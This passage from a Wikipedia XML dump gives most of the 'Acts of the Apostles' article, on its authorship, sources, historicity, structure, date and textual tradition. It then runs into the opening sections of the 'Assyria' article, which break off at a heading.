* The scope of this action is nothing less than humanity (2:5ff.), especially within the [[Roman Empire]]. It was commanded that [[Messiah]]'s witnesses should go, through divine power, to all the world to spread the Gospel (see [[The Book of Matthew|Matt]] 28:19&amp;ndash;20). The book of Acts was written partially to show how this was accomplished in the early years of the church.

* Finally, as we gather from the parallel account in Luke 24:46&amp;ndash;48, the book was designed to show the divinely appointed method for victory through suffering (Acts 14:22).

This explains the large space devoted to the tribulations of the witnesses, and their constancy in them, after the type of their Lord Himself. It is emphasized in absence of earthly prosperity, which the pagan mind was apt to see as the token of Divine approval.

These, then, seem to be the author's main points: the Gospel is universal; Divine initiative led men of [[Jew|Jewish]] birth to gradually recognize the divine will in the tearing down of national boundaries; and that although difficulty will befall those who attempt to spread the gospel, they shall overcome through the power of the Holy Spirit.

This view has the merit of giving the book a practical religious aim. Though meant for men of pagan birth, it is be as inquirers or even converts, such as &quot;[[Theophilus (Biblical)|Theophilus]],&quot; that the argument (that in spite of all difficulties, this religion is worthy of personal belief) is addressed. Among the reasons why such an appeal was needed were doubtlessly the existence of persecution by the Roman authorities, often at the instigation of local [[Judaism]]. The author holds up the picture of early days, when the great protagonist of the Gospel constantly enjoyed protection at the hands of Roman justice, as a sort of banner of hope. It is implied that the present distress is but a passing phase, resting on some misunderstanding; meantime, the example of apostolic constancy should yield strong reassurance.

== Authorship ==
There is substantial evidence to indicate that the author of [[Gospel of Luke|Luke]] also wrote the Book of Acts.  The most direct evidence comes from the prefaces of each book.  Both prefaces are addressed to [[Theophilus (Biblical)|Theophilus]], the author's patron (and perhaps a label for a Christian community as a whole as it can be read &quot;Beloved by God&quot;), and the preface of Acts explicitly references &quot;my former book&quot; about the life of Jesus.  

Furthermore, there are linguistic and theological similarities between the two works, suggesting that they have a common author.  With the agreement of nearly all scholars, Udo Schnelle writes, &quot;the extensive linguistic and theological agreements and cross-references between the Gospel of Luke and the Acts indicate that both works derive from the same author&quot; (''The History and Theology of the New Testament Writings'', p. 259).

The external evidence, such as it is, is in favor of authorship by [[Luke the Evangelist|Luke]], a companion of Paul ([[Epistle to Philemon|Phlm]] 24) who was a physician ([[Epistle to the Colossians|Col]] 4:14).  The oldest manuscript with the start of the gospel, Papyrus Bodmer XIV (around 200), is titled the ''euangelion kata Loukan'', the Gospel according to Luke. [[Irenaeus]] (''Haer.'' 3.1.1, 3.14.1), [[Tertullian]] (''Marc.'' 4.2.2), [[Clement of Alexandria]] (''Paed.'' 2.1.15 and ''Strom.'' 5.12.82), [[Origen]], and the [[Muratorian Canon]] also ascribe the third Gospel to one called Luke.  Neither [[Eusebius of Caesarea]] nor any other ancient writer mentions another tradition about authorship.

Some also consider the internal evidence to favor authorship by Luke.  The thesis that the vocabulary of Luke-Acts is special to a physician met with a rebuttal by H. J. Cadbury in his dissertation ''The Style and Literary Method of Luke'', which argued that the vocabulary is found in nonmedical works; the saying goes that Cadbury earned his doctorate by depriving Luke of his.  Some state that the prominence given to [[Antioch]] in Acts coheres with the tradition of Luke's birth in Antioch. &lt;!-- source for this tradition of birth in Antioch? (beats me)--&gt; It is also argued that the minute character of the narrative and accuracy of the journeyings suggest an eyewitness source. Chief among the features of Luke-Acts that have been thought to support the idea that the author knew Paul are the &quot;we passages&quot; found in 16:10&amp;ndash;17, 20:5&amp;ndash;15, 21:1&amp;ndash;18, and 27:1&amp;ndash;28:16. Some note that the &quot;we&quot; narration drops off at [[Philippi]] and then picks up in the second passage with &quot;We sailed from Philippi,&quot; and conclude from this dovetailing of incidents that the author of Acts was among those left behind at Philippi who joined up with Paul to sail from there later. Other views of the &quot;we passages&quot; include that a first person travel diary was incorporated into Acts, that the first person narration is generic style for sea voyages (according to V. K. Robbins), and that the author was making a false affectation to being a companion of Paul.

Others consider the internal evidence to be against authorship by Luke. Critics of authorship by Luke mention divergence in theology between Luke-Acts and the letters of Paul, to whom Luke was companion.  They also state that there are disagreements between the narrative of Acts and the letters of Paul, such as [[Epistle to Galatians|Galatians]], in describing the period from his conversion to his visit with the apostles in Jerusalem.  Some say that the absence of mention of Paul's letters in Acts speaks to non-Lukan authorship, while others attribute this to Paul's letters being published together after Acts was written.

== Sources ==
[[Image:Codex laudianus.jpg|thumb|right|Acts 15.22&amp;ndash;24 from the seventh-century ''Codex laudianus'' in the [[Bodleian Library]], written in parallel columns of [[Latin]] and [[Greek language|Greek]].]]
So far from the recognition of a plan in Acts being inimical to a quest after the materials used in its composition, some scholars say that it points the way thereto, while it keeps the literary analysis within scientific limits. These scholars claim that the standpoint of the mind pervading the book as a whole causes them to feel that the speeches in the first part of Acts (e.g., that of [[Saint Stephen|Stephen]])&amp;mdash;and indeed elsewhere, too&amp;mdash;are not &quot;free compositions&quot; of the author, the mere outcome of dramatic idealization such as ancient historians like [[Thucydides]] or [[Polybius]] allowed themselves. The [[Christology]], for instance, of the early Petrine speeches is considered by them to be such as a Gentile Christian writing circa 80 simply could not have imagined.  Thus they are forced to assume the use of a certain amount of early Judaeo-Christian material, in the manner in which he supposedly used the [[Gospel of Mark]] and the [[Q document|Q source]] in compiling his own Gospel.

C.C. Torrey expressed these suspicions in his thesis (''The Composition and the Dates of Acts'', 1916) that an [[Aramaic language|Aramaic]] source underlay the text of Acts 1&amp;ndash;15, arguing from (1) the preoccupation of this section on the church at [[Jerusalem]], and on the church's Judaic background, and (2) a [[Semitic]] coloring of the language, which he argued was &quot;distinctly translation-[[Greek language|Greek]]&quot; with a number of peculiarities in the language that he claimed were &quot;Semiticisms&quot;. While the recovery of the [[Dead Sea Scrolls]] has provided us with an irrefutable sample of the language of [[Judea]] in the 1st century AD, severely undermining Torrey's linguistic arguments, study of the content has led to a consensus that the author drew from a set of sources associated with Peter that originated in Jerusalem, and a set of sources associated with Paul that, at least in part, originated in [[Antioch]].

In the second half which focuses almost exclusively on Paul's activities, we are confronted by the so-called &quot;we&quot; passages. Their explanation has led to several theories: (1) they are traces of an earlier document&amp;mdash;whether entries in a travel diary or a more or less consecutive narrative written later; (2) the use of &quot;we&quot; was due to the author's lapsing unconsciously into the first person plural at certain points where he felt specially identified with the history; or (3) this use of &quot;we&quot; was a feature of an ancient convention when talking about sea travel (a thesis proposed by V.K. Robbins in 1975 and embraced by such scholars as [[Helmut Koester]]). The first hypothesis raises the issue whether the &quot;we&quot; document does or does not lie behind more of the narrative than is definitely indicated by the formula in question (e.g., 13&amp;ndash;15, 21:19&amp;ndash;16). The second likewise leads to the question whether the presence or absence of &quot;we&quot; may be due to the writer's absorption in his narrative causes, rather than to the writer's mere presence or absence. However, this alternation from third person to first person plural may be due to emphasis, as [[Martin Hengel]] explains:
:&quot;We&quot; therefore appears in travel accounts because Luke simple wanted to indicate that he was there. However, his personal experiences are uninteresting. Paul remains the sole focal point.
:(''Acts and the History of Earliest Christianity'' Philadelphia: Fortress, 1983)

Robbins's suggestion has been treated with a certain amount of skepticism based on the examples he has produced for this genre; his examples are drawn from [[Ancient Egypt|ancient Egyptian]] and [[Mesopotamia|Mesopotamian]] literature, and even his Greek examples are fraught with problems that include the fact many of the examples come from narratives told in the first person. [[Joseph Fitzmyer|Joseph A. Fitzmyer]] notes in his commentary to the Anchor Bible translation of Acts, &quot;this 'conventional' literary device is more alleged than demonstrated.&quot;

In both parts of Luke-Acts, scholars suggest that the author collected materials from [[oral tradition]], if not directly from different witnesses, possibly supplemented by the first person knowledge of the author in Acts. In this case, the author would have had the opportunity to collect materials, varying no doubt in accuracy, but all relatively primitive, whether in Antioch or in [[Caesarea Palaestina]], where he may have resided for some two years in contact with men like [[Philip the Evangelist]] (21:8). There and elsewhere he might also have learned a good deal from [[John, surnamed Mark]], Peter's friend ([[1 Peter|1 Pet]] 5:13; Acts 12:12).

== Historical Value ==
The question of authorship is largely bound up with that as to the historicity of the contents. Acts is divided into two distinct parts. The first (chs. 1&amp;ndash;12) deals with the church in Jerusalem and Judaea, and with Peter as central figure&amp;mdash;at any rate in the first five chapters. &quot;Yet in cc. vi.-xii.,&quot; as Harnack observes,

&lt;blockquote&gt;the author pursues several lines at once. (1) He has still in view the history of the Jerusalem community and the original apostles (especially of Peter and his missionary labors); (2) he inserts in vi. 1 ff. a history of the Hellenistic Christians in Jerusalem and of the Seven Men, which from the first tends towards the Gentile Mission and the founding of the Antiochene community; (3) he pursues the activity of [[Philip the Apostle|Philip]] in [[Samaria]] and on the coast...; (4) lastly, he relates the history of Paul up to his entrance on the service of the young Antiochene church.  In the small space of seven chapters he pursues all these lines and tries also to connect them together, at the same time preparing and sketching the great transition of the Gospel from Judaism to the Greek world.  As historian, he has here set himself the greatest task. &lt;/blockquote&gt;

No doubt gaps abound in these seven chapters. &quot;But the inquiry as to whether what is narrated does not even in these parts still contain the main facts, and is not substantially trustworthy, is not yet concluded.&quot; The difficulty is that there are few external means of testing this portion of the narrative. Some of it may  have suffered partial transformation in oral tradition before reaching our author; for example, the nature of [[glossolalia|Speaking the Tongues]] at [[Pentecost]] does not accord with what is known of the gift of &quot;tongues&quot; generally. The second part pursues the history of the apostle Paul, and here the statements made in the Acts may be compared with the Epistles.  The result is a general harmony, without any trace of direct use of these letters; and there are many minute coincidences. But attention has been drawn to two remarkable exceptions: the account given by Paul of his visits to [[Jerusalem]] in [[Epistle to Galatians|Galatians]] as compared with Acts; and the character and mission of the apostle Paul, as they appear in his letters and in Acts. 

In regard to the first point, the differences as to Paul's movements until he returns to his native province of Syria-Cilicia do not really amount to more than can be explained by the different interests of Paul and the author, respectively. But it is otherwise as regards the visits of Galatians 2:1&amp;ndash;10 and Acts 15. If they are meant to refer to the same occasion, as is usually assumed, it is hard to see why Paul should omit reference to the public occasion of the visit, as also to the public vindication of his policy. But in fact the issues of the two visits, as given in Galatians 2:9f. and Acts 15:20f., are not at all the same. Nay more, if Galatians 2:1&amp;ndash;10 = Acts 15, the historicity of the &quot;Relief visit&quot; of Acts 11:30, 12:25 seems definitely excluded by Paul's narrative of events before the visit of Galatians 2:1ff.  Accordingly, [[William Ramsay|Sir W. M. Ramsay]] and others argue that the latter visit itself coincided with the Relief visit, and even see in Galatians 2:10 witness thereto. 

But why does not Paul refer to the public charitable object of his visit? It seems easier to assume that the visit of Galatians 2:1ff. is altogether unrecorded in Acts, owing to its private nature as preparing the way for public developments&amp;mdash;with which Acts is mainly concerned.  In that case, it would fall shortly before the Relief visit, to which there may be tacit explanatory allusion, in Galatians 2:10; and it will be shown below that such a conference of leaders in Galatians 2:1ff. leads up excellently both to the First Mission Journey and to Acts 15. 

As for Paul as depicted in Acts, Paul claims that he was appointed the apostle to the Gentiles, as Peter was to the Circumcision; and that [[circumcision]] and the observance of the [[Halakha|Jewish]] law were of no importance to the Christian as such.  His words on these points in all his letters are strong and decided.  But in Acts, it is Peter who first opens up the way for the Gentiles.  It is Peter who uses the strongest language in regard to the intolerable burden 
of the Law as a means of salvation (15:10f., cf. 1). Not a word is said of any difference of opinion between Peter and Paul at Antioch (Gal 2:11ff.). The brethren in Antioch send Paul and [[Barnabas]] up to Jerusalem to ask the opinion of the apostles and elders: they state their case, and carry back the decision to Antioch. Throughout the whole of Acts, Paul never stands forth as the unbending champion of the Gentiles. He seems continually anxious to reconcile the Jewish Christians to himself by personally observing the law of [[Moses]]. He circumcises the semi-Jew, [[Timothy]]; and he performs his vows in [[Temple in Jerusalem|the temple]]. He is particularly careful in his speeches to show how deep is his respect for the law of Moses. In all this, the letters of Paul are very different from Acts. In Galatians, he claims perfect freedom in 
principle, for himself as for the Gentiles, from the obligatory observance of the law; and neither in it nor in Corinthians does he take any notice of a decision to which the apostles had come in their meeting at Jerusalem.  The narrative of Acts, too, itself implies something other than what it sets in relief; for why should the Jews hate Paul so much, if he was not in some sense disloyal to their Law? 

This is not necessarily a contradiction; only such a difference of emphasis as belongs to the standpoints and aims of the two writers amid their respective historical conditions. Peter's function toward the Gentiles belongs to early conditions present in Judaea, before Paul's distinctive mission had taken shape. Once Paul's apostolate&amp;mdash;a personal one, parallel with the more collective apostolate of &quot;the Twelve&quot;&amp;mdash;has proved itself by tokens of Divine approval, Peter and his colleagues frankly recognize the distinction of the two missions, and are anxious only to arrange that the two shall not fall apart by religiously and morally incompatible usages (Acts 15). Paul, on his side, clearly implies that Peter felt with him that the Law could not justify (Gal 2:15ff.), and argues that it could not now be made obligatory in principle (cf. &quot;a [[yoke]],&quot; Acts 15:10); yet for Jews 
it might continue for the time (pending the [[Parousia]]) to be seemly and expedient, especially for the sake of non-believing Judaism.  To this he conformed his own conduct as a Jew, so far as his Gentile apostolate was not involved (1 Cor 9:19ff.). There is no reason to doubt that Peter largely agreed with him, since he acted in this spirit in Galatians 2:11f., until coerced by Jerusalem sentiment to draw back for expediency's sake.  This incident simply did not fall within the scope of Acts to narrate, since it had no abiding effect on the Church's extension.  As to Paul's submission of the issue in Acts 15 to the Jerusalem conference, Acts does not imply that Paul would have accepted a decision in favor of the Judaizers, though he saw the value of getting a decision for his own policy in the quarter where they were most likely to defer.  If the view that he already had an understanding with the &quot;Pillar&quot; Apostles, as recorded in Galatians 2:1&amp;ndash;10, be correct, it gives the best of reasons why he was ready to enter the later public Conference of Acts 15. Paul's own &quot;free&quot; attitude to the Law, when on Gentile soil, is just what is implied by the hostile rumors as to his conduct in Acts 21:21, which he would be glad to disprove as at least exaggerated (vv. 24 and 26).

(Questions and evidence of historicity are presented in Colin J. Hemer, &quot;The Book of Acts in the Setting of Hellenistic History&quot;, Eisenbrauns, 1990)

=== Speeches ===
The speeches in Acts deserve special notice, because they constitute about 20% of the entire book.  Given the nature of the times, lack of recording devices, and space limitations, many ancient historians did not reproduce verbatim reports of speeches.  Condensing and using one's own style was often unavoidable.  Nevertheless, there were different practices when it came to the level of creativity or adherence individual historians practiced.  

On one end of the scale were those who seemingly invented speeches, such as the Sicilian historian [[Timaeus]] (356&amp;ndash;260 BCE).  Others, such as [[Dionysius of Halicarnassus]] and [[Tacitus]], fell somewhere in between, reporting actual speeches but likely with significant liberty.  The ideal for ancient historians, however, seems to have been to try as much as possible to report the sense of what was actually said, rather than simply placing one's own speech in a figure's mouth.  

Perhaps the best example of this ideal was voiced by [[Polybius]], who ridiculed Timaeus for his invention of speeches.  Historians, Polybius wrote, were &quot;to instruct and convince for all time serious students by the truth of the facts and the speeches he narrates&quot; (''Hist.'' 2.56.10&amp;ndash;12). Another ancient historian, [[Thucydides]], admits to having taken some liberty while narrating speeches, but only when he did not have access to any sources.  When he had sources, he used them. In his own words, Thucydides wrote speeches &quot;of course adhering as closely as possible to the general sense of what was actually said&quot; (''[[History of the Peloponnesian War]]'', 1.22.1).   Accordingly, as stated by C.W. Fornara, &quot;[t]he principle was established that speeches were to be recorded accurately, though in the words of the historian, and always with the reservation that the historian could 'clarify'&quot; (''The Nature of History in Ancient Greece and Rome'', p. 145).

On what end of the scale did the author of Acts fall?  There is little doubt that the speeches of Acts are summaries or condensations largely in the style and vocabulary of its author.  However, there are indications that the author of Acts relied on source material for his speeches, and did not treat them as mere vehicles for expressing his own theology.  The author's apparent use of speech material in the [[Gospel of Luke]], obtained from the [[Gospel of Mark]] and the hypothetical [[Q document]] or the [[Gospel of Matthew]], suggests that he relied on other sources for his narrative and was relatively faithful in using them.  Additionally, many scholars have viewed Acts' presentation of [[Saint Stephen|Stephen]]'s speech, Peter's speeches in Jerusalem and, most obviously, Paul's speech in [[Miletus]] as relying on source material or of expressing views not typical of Acts' author.[http://www.christiancadre.org/member_contrib/cp_acts.html] Additionally, there is no evidence that any speech in Acts is the free composition of its author, without either written or oral basis.  Accordingly, in general, the author of Acts seems to be among the conscientious ancient historians, touching the essentials of historical accuracy, even as now understood.

=== Miracles ===
[[Skeptic]]s object to the trustworthiness of Acts on the ground of its reports of [[miracle|miracles]], while [[apologetics|apologists]] defend the work as containing earlier sources. 

There are possibilities of mistakes intervening between the facts and the accounts reaching its author, at second- or even thirdhand.  Some modern scholars argue that Acts shows several errors, and suggest its value as history is doubtful. However, the use of &quot;we&quot; at some points in the book suggests its author was an eyewitness to some of the events he describes.

''[[Quellenkritik]]'', a distinctive feature of recent research upon Acts, solves many difficulties in the way of treating it as an honest narrative by a companion of Paul. In addition, we may also count among recent gains a juster method of judging such a book. For among the results of the [[Tübingen]] criticism was what Dr. W. Sanday calls &quot;an unreal and artificial standard, the standard of the 19th century rather than the [[1st century|1st]], of [[Germany]] rather than [[Palestine (region)|Palestine]], of the lamp and the study rather than of active 
life.&quot; This has a bearing, for instance, on the differences between the three accounts of Paul's conversion in Acts. In the recovery of a more real standard, we owe much to men like [[Theodor Mommsen|Mommsen]], Ramsay, [[Friedrich Blass|Blass]] and Harnack, trained amid other methods and traditions than those which had brought the constructive study of Acts almost to a deadlock.

== Structure ==
&lt;!-- shorten; edit for clarity --&gt;
The structure of the book of [[Luke]] is closely tied with the structure of Acts. Both books are most easily tied to the geography of the book. [[Luke]] begins with a global perspective, dating the birth of [[Christ]] to the reign of the [[Roman emperors]] in Luke 2:1 and 3:1. From there we see Jesus' ministry move from [[Galilee]] (chapters 4&amp;ndash;9), through [[Samaria]] and [[Judea]] (chs. 10&amp;ndash;19), to [[Jerusalem]] where he is [[Crucifixion|crucified]], raised and ascended into [[heaven]] (chs. 19&amp;ndash;24). 
The book of Acts follows just the opposite motion, taking the scene from [[Jerusalem]] (chs. 1&amp;ndash;5), to [[Judea]] and [[Samaria]] (chs. 6&amp;ndash;9), then traveling through [[Syria]], [[Asia Minor]], and [[Europe]] towards [[Rome]] (chs. 9&amp;ndash;28). This [[chiastic structure]] emphasizes the centrality of the [[resurrection]] and [[ascension]] to Luke's message, while emphasizing the universal nature of the gospel. 

This geographic structure is foreshadowed in Acts 1:8, where Jesus says &quot;You shall be My witnesses both in [[Jerusalem]] (chs. 1&amp;ndash;5), and in all [[Judea]] and [[Samaria]] (chs. 6&amp;ndash;9), and even to the remotest part of the earth (chs. 10&amp;ndash;28).&quot; The first two sections (chs. 1&amp;ndash;9) represent the witness of the apostles to the [[Jew]]s, while the last section (chs. 10&amp;ndash;28) represent the witness of the apostles to the [[Gentiles]].

The book of Acts can also be broken down by the major characters of the book. While the complete title of the book is the Acts of the Apostles, really the book focuses on only two of the apostles: [[Peter]] (chs. 1&amp;ndash;12) and [[Paul]] (chs. 13&amp;ndash;28).

Within this structure, the sub-points of the book are marked by a series of summary statements, or what one commentary calls a &quot;progress report&quot;.  Just before the geography of the scene shifts to a new location, Luke summarizes how the gospel has impacted that location. The standard for these progress reports is in 2:46&amp;ndash;47, where Luke describes the impact of the gospel on the new church in Jerusalem. The remaining progress reports are located:

Acts 6:7 Impact of the gospel in Jerusalem.
9:31 Impact of the gospel in Judea and Samaria.
12:24 Impact of the gospel in Syria.
16:5 Impact of the gospel in Asia Minor.
19:20 Impact of the gospel in Europe.
28:31 Impact of the gospel on Rome

This structure can be also seen as a series of concentric circles, where the gospel begins in the center, Jerusalem, and is expanding ever outward to Judea &amp; Samaria, Syria, Asia Minor, Europe, and eventually to Rome.

== Date ==
External evidence now points to the existence of Acts at least as early as the opening years of the 2nd century. As evidence for the Third Gospel holds equally for Acts, its existence in [[Marcion]]'s day (120&amp;ndash;140) is now assured.  Further, the traces of it in [[Polycarp]] 6 and [[Ignatius of Antioch|Ignatius]] 7 when taken together are highly probable; and it is even widely admitted that the resemblance of Acts 13:22 and [[Epistles of Clement|First Clement]] 18:1, in features not found in [[Psalms]] 89:20 quoted by each, can hardly be accidental. That is, Acts was probably current in Antioch and [[Izmir|Smyrna]] not later than circa 115, and perhaps in Rome as early as circa 96. 

With this view internal evidence agrees. In spite of some advocacy of a date prior to AD 70, the bulk of critical opinion is decidedly against it.  The prologue to Luke's Gospel itself implies the dying out of the generation of eyewitnesses as a class.  A strong consensus supports a date about AD 80; some prefer 75 to 80; while a date between 70 and 75 seems no less possible.  Of the reasons for a date in one of the earlier decades of the 2nd century, as argued by the Tübingen school and its heirs, several are now untenable. Among these are the supposed traces of 2nd-century [[Gnosticism]] and &quot;[[Hierarchy|hierarchical]]&quot; ideas of organization; but especially the argument from the relation of the Roman state to the Christians, which Ramsay has reversed and turned into proof of an origin prior to [[Pliny the Younger|Pliny]]'s correspondence with [[Trajan]] on the subject. Another fact, now generally admitted, renders a 2nd-century date yet more incredible; and that is the failure of a writer devoted to Paul's memory to make palpable use of his Epistles. Instead of this he writes in a fashion that seems to traverse certain things recorded in them. If, indeed, it were proved that Acts uses the later works of [[Josephus]], we should have to place the book about AD 100. But this is far from being the case. 

Three points of contact with Josephus in particular are cited. (1) The circumstances attending the death of [[Agrippa I]] in AD 44. Here Acts 12:21&amp;ndash;23 is largely parallel to his ''[[Antiquities of the Jews|Antiquities]]'' 19.8.2; but the latter adds an omen of coming doom, while Acts alone gives a circumstantial account of the occasion of Herod's public appearance.  Hence the parallel, when analyzed, tells against dependence on Josephus.  So also with (2) the cause of the [[Ancient Egypt|Egyptian]] pseudo-prophet in Acts 21:37f. and in Josephus (''[[Jewish War|J.W.]]'' 2.13.5; ''A.J.'' 20.8.6) for the numbers of his followers do not agree with either of Josephus's rather divergent accounts, while Acts alone calls them ''[[Sicarii]]''. With these instances in mind, it is natural to regard (3) the curious resemblance as to the (non-historical) order in which [[Theudas]] and [[Judas of Galilee]] are referred to in both (Acts 5:36f.; ''A.J.'' 20.5.1) as accidental.

It is worth noting, however, that no ancient source actually mentions Acts by name prior to AD 177. If it was composed prior to then, no one spoke of it by that name, or at least no one whose writings have survived down to the present day.

== Place ==
The place of composition is still an open question. For some time Rome and Antioch have been in favor, and [[Friedrich Blass|Blass]] combined both views in his theory of two editions. But internal evidence points strongly to the Roman province of [[Asia Province|Asia]], particularly the neighborhood of [[Ephesus]].  Note the confident local allusion in 19:9 to &quot;the school of Tyrannus&quot; and in 19:33 to &quot;Alexander&quot;; also the very minute topography in 20:13&amp;ndash;15.  At any rate affairs in that region, including the future of the church of Ephesus (20:28&amp;ndash;30), are treated as though they would specially interest &quot;Theophilus&quot; and his circle; also an early tradition makes Luke die in the adjacent [[Bithynia]].  Finally it was in this region that there arose certain early glosses (e.g., 19:9, 20:15), probably the earliest of those referred to below. How fully in correspondence with such an environment the work would be, as apologia for the Church against the Synagogue's attempts to influence Roman policy to its harm, must be clear to all familiar with the strength of Judaism in Asia (cf. [[Revelation|Rev]] 2:9, 3:9; and see Sir W. M. Ramsay, ''The Letters to the Seven Churches'', ch. xii.).

== Text ==
Of the many problems with Acts, perhaps the most complex is that of its text. As with the other books of the New Testament, Acts exists in several text types; however, unlike with the other books, the difference between the [[Alexandrian text-type]] and the [[Western text-type]] is very great; the size of the Western text of Acts (as represented by the [[Codex Bezae]]) is 10% larger than the [[Alexandria|Alexandrian]] (as represented by the [[Codex Sinaiticus]]). Although this issue was first observed in the 17th century, explanations for this difference remain little more than conjectures. Any explanation that reduces the Western text to the product of generations of scribes who showed little care for fidelity to their exemplar ignores the evidence that the Western text's additions and omissions have the same stylistic characteristics as the Alexandrian; that Western text readings in Acts date from early [[Latin]] authors like [[Tertullian]], [[Cyprian]] and [[Augustine of Hippo|Augustine]].

The earliest theory, first espoused by Leclerc in 1684, but restated by Blass in 1895 and others since, explains the Western text as a first draft by the author, while the Alexandrian was a more polished version he subsequently published. The French scholars Boismard and Lamouille, in their extensive study of the text of Acts, have embraced this theory.

In 1914, A.C. Clark espousing the principle ''lectio longior potior'' (which is the opposite of the normal principle used in [[textual criticism]]) has argued that the shorter text was a modification of the original text. The opposite direction, that the Western text of Acts was expanded, was first proposed by G. Salmon in 1897 and recently revised by E. Delebecque, who believes the expansion of the text was performed by Luke at Ephesus after Paul's death.

Despite this ongoing debate, the majority of biblical scholars believes the text of Acts as witnessed in the Alexandrian tradition is the closest to the original, although accepting various isolated readings from the Western text families at different points. This was the conclusion of the text of Acts as printed by [[Brooke Foss Westcott|B.F. Westcott]] and [[Fenton John Anthony Hort|F.J.A. Hort]], as well as the most recent edition of Nestle and Aland's authoritative ''[[Novum Testamentum graece]]'' (1993).

==External links==
* [http://www.biblegateway.com/bible?passage=Acts&amp;language=English&amp;version=NIV ''Book of Acts'' at Bible Gateway] 
* [http://www.plymouthbrethren.org/passage.asp Acts from the Biblical Resource Database]

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|Preceded by:&lt;br&gt;&lt;Center&gt;[[Gospel of John|John]]
|'''Acts'''
|Followed by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Romans|Romans]]
|}
&lt;/center&gt;

[[Category:New Testament books]]
[[Category:New Testament narrative|Acts]]
[[Category:Charismatic and Pentecostal Christianity]]

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[[cs:Skutky apoštolů]]
[[da:Apostlenes Gerninger]]
[[de:Apostelgeschichte des Lukas]]
[[es:Hechos de los Apóstoles]]
[[eo:La Agoj de la Apostoloj]]
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  <page>
    <title>Assyria</title>
    <id>2085</id>
    <revision>
      <id>41905963</id>
      <timestamp>2006-03-02T14:49:36Z</timestamp>
      <contributor>
        <username>Codex Sinaiticus</username>
        <id>247981</id>
      </contributor>
      <comment>/* The Legacy of Assyria */  rm speculation and subjective pov, partly off topic w. Egypt, another controversial topic</comment>
      <text xml:space="preserve">:''For contemporary Assyrians, see [[Assyrian people]]. For the Roman province, see [[Assyria (Roman province)]].'' 
{{Template:Ancient Mesopotamia}}
'''Assyria''' in earliest historical times referred to a region on the Upper [[Tigris]] river, named for its original capital, the ancient city of [[Ashur]].  Later, as a nation and Empire, it also came to include roughly the northern half of [[Mesopotamia]] (the southern half being [[Babylonia]]). 

Assyria proper was located in a mountainous region, extending along the Tigris as far as the high Gordiaean or Carduchian mountain range of [[Armenia]], sometimes called the &quot;Mountains of Ashur&quot;.

The Assyrian kings controlled a large kingdom at three different times in history. These are called the Old, Middle, and Neo-Assyrian kingdoms, or periods. The by far most powerful and best-known nation of these periods is the Neo-Assyrian kingdom 911-612 BC.

==Early history==

The most important prehistoric ([[Neolithic]]) site in Assyria is at Tell Hassuna, the center of the [[Hassuna]] culture.

Of the early history of the kingdom of Assyria, little is positively known. According to some Judeo-Christian traditions, the city of Ashur (also spelled [[Assur]] or Aššur) was founded by Ashur the son of [[Shem]], who was deified by later generations as the city's patron god. 

The upper [[Tigris]] river valley seems to have been ruled from Sumer, Akkad, and northern Babylonia in its earliest stages, being part of [[Sargon the Great]]'s empire. Destroyed by [[barbarian]]s in the [[Gutian period]], it was rebuilt, and ended up being governed as part of the Empire of the [[3rd dynasty of Ur]].  

==Early Assyrian city-states and kingdoms==

The first inscriptions of Assyrian rulers appear after 2000 BC. Assyria then consisted of a number of city states and small [[Semitic]] kingdoms. The foundation of the Assyrian monarchy was traditionally ascribed to [[Zulilu]], who is said to have lived after Bel-kap-kapu (Bel-kapkapi or Belkabi, ca. [[1900 BC]]), the ancestor of [[Shalmaneser I]].

===The city state of Ashur===
The city-state of Ashur had extensive contact with cities on the [[Anatolia]]n plateau. The Assyrians established &quot;merchant colonies&quot; in [[Cappadocia]], e.g., at [[Kanesh]] (modern [[Kültepe]]) circa [[1920 BC]]&amp;ndash;[[1840 BC]] and [[1798 BC]]&amp;ndash;[[1740 BC]]. These colonies, called '''''karum''''', the Akkadian word for 'port', were attached to Anatolian cities, but physically separate, and had special tax status. They must have arisen from a long tradition of trade between Ashur and the Anatolian cities; but no archaeological or written records show this. The trade consisted of metal (perhaps lead or tin; the terminology here is not entirely clear) and textiles from Assyria, that were traded for precious metals in Anatolia.

===The kingdom of Shamshi-Adad I===
The city of Ashur was conquered by [[Shamshi-Adad I]] ([[1813 BC]]&amp;ndash;[[1791 BC]]) in the expansion of [[Amorite]] tribes from the [[Khabur river]] delta. He put his son [[Ishme-Dagan]] on the throne of nearby city Ekallatum, and allowed the former Anatolian trade to continue. Shamshi-Adad I also conquered the kingdom of [[Mari, Syria|Mari]] on the [[Euphrates]] and put another of his sons, Yasmah-Adad on the throne there. Shamshi-Adad's kingdom now encompassed the whole of northern Mesopotamia. He himself resided in a new capital city founded in the Khabur valley, called [[Shubat-Enlil]]. Ishme-Dagan inherited the kingdom, but Yasmah-Adad was overthrown and Mari was lost. The new king of Mari allied himself with [[Hammurabi]] of [[Babylon]]. Assyria now faced the rising power of Babylon in the south. Ishme-Dagan responded by making an alliance with the enemies of Babylon, and the power struggle continued for decades.

===Assyria reduced to vassal states===
Hammurabi eventually prevailed over Ishme-Dagan, and conquered Ashur for Babylon. With Hammurabi, the various ''karum'' in Anatolia ceased trade activity &amp;mdash; probably because the goods of Assyria were now being traded with the Babylonians' partners.

Assyria was ruled by vassal kings dependent on the Babylonians for a century. After Babylon fell to the [[Kassites]], the [[Hurrians]] dominated the northern region, including Ashur.

== The Middle Assyrian period ==

(Scholars variously date the beginning of the &quot;Middle Assyrian period&quot; to either the fall of the Old Assyrian kingdom of [[Shamshi-Adad I]], or to when [[Ashur-uballit I]] ascended to the throne of Assyria.)

===Ashur-uballit I===
In the [[15th century BC]], [[Saushtatar]], king of &quot;''Hanilgalbat''&quot; (Hurrians of [[Mitanni]]), sacked Ashur and made Assyria a vassal. Assyria paid tribute to Hanilgalbat until Mitanni power collapsed from [[Hittites|Hittite]] pressure, enabling [[Ashur-uballit I]] ([[1365 BC]]&amp;ndash;[[1330 BC]]), to again make Assyria an independent and conquering power at the expense of [[Babylonia]]; and a time came when the Kassite king in Babylon was glad to marry the daughter of Ashur-uballit, whose letters to [[Akhenaten]] of [[Egypt]] form part of the [[Amarna letters]]. This marriage led to disastrous results, as the Kassite faction at court murdered the Babylonian king and placed a pretender on the throne. Assur-uballit promptly marched into Babylonia and avenged his son-in-law, making [[Kurigalzu]] of the royal line king there.

===Assyrian expansion===
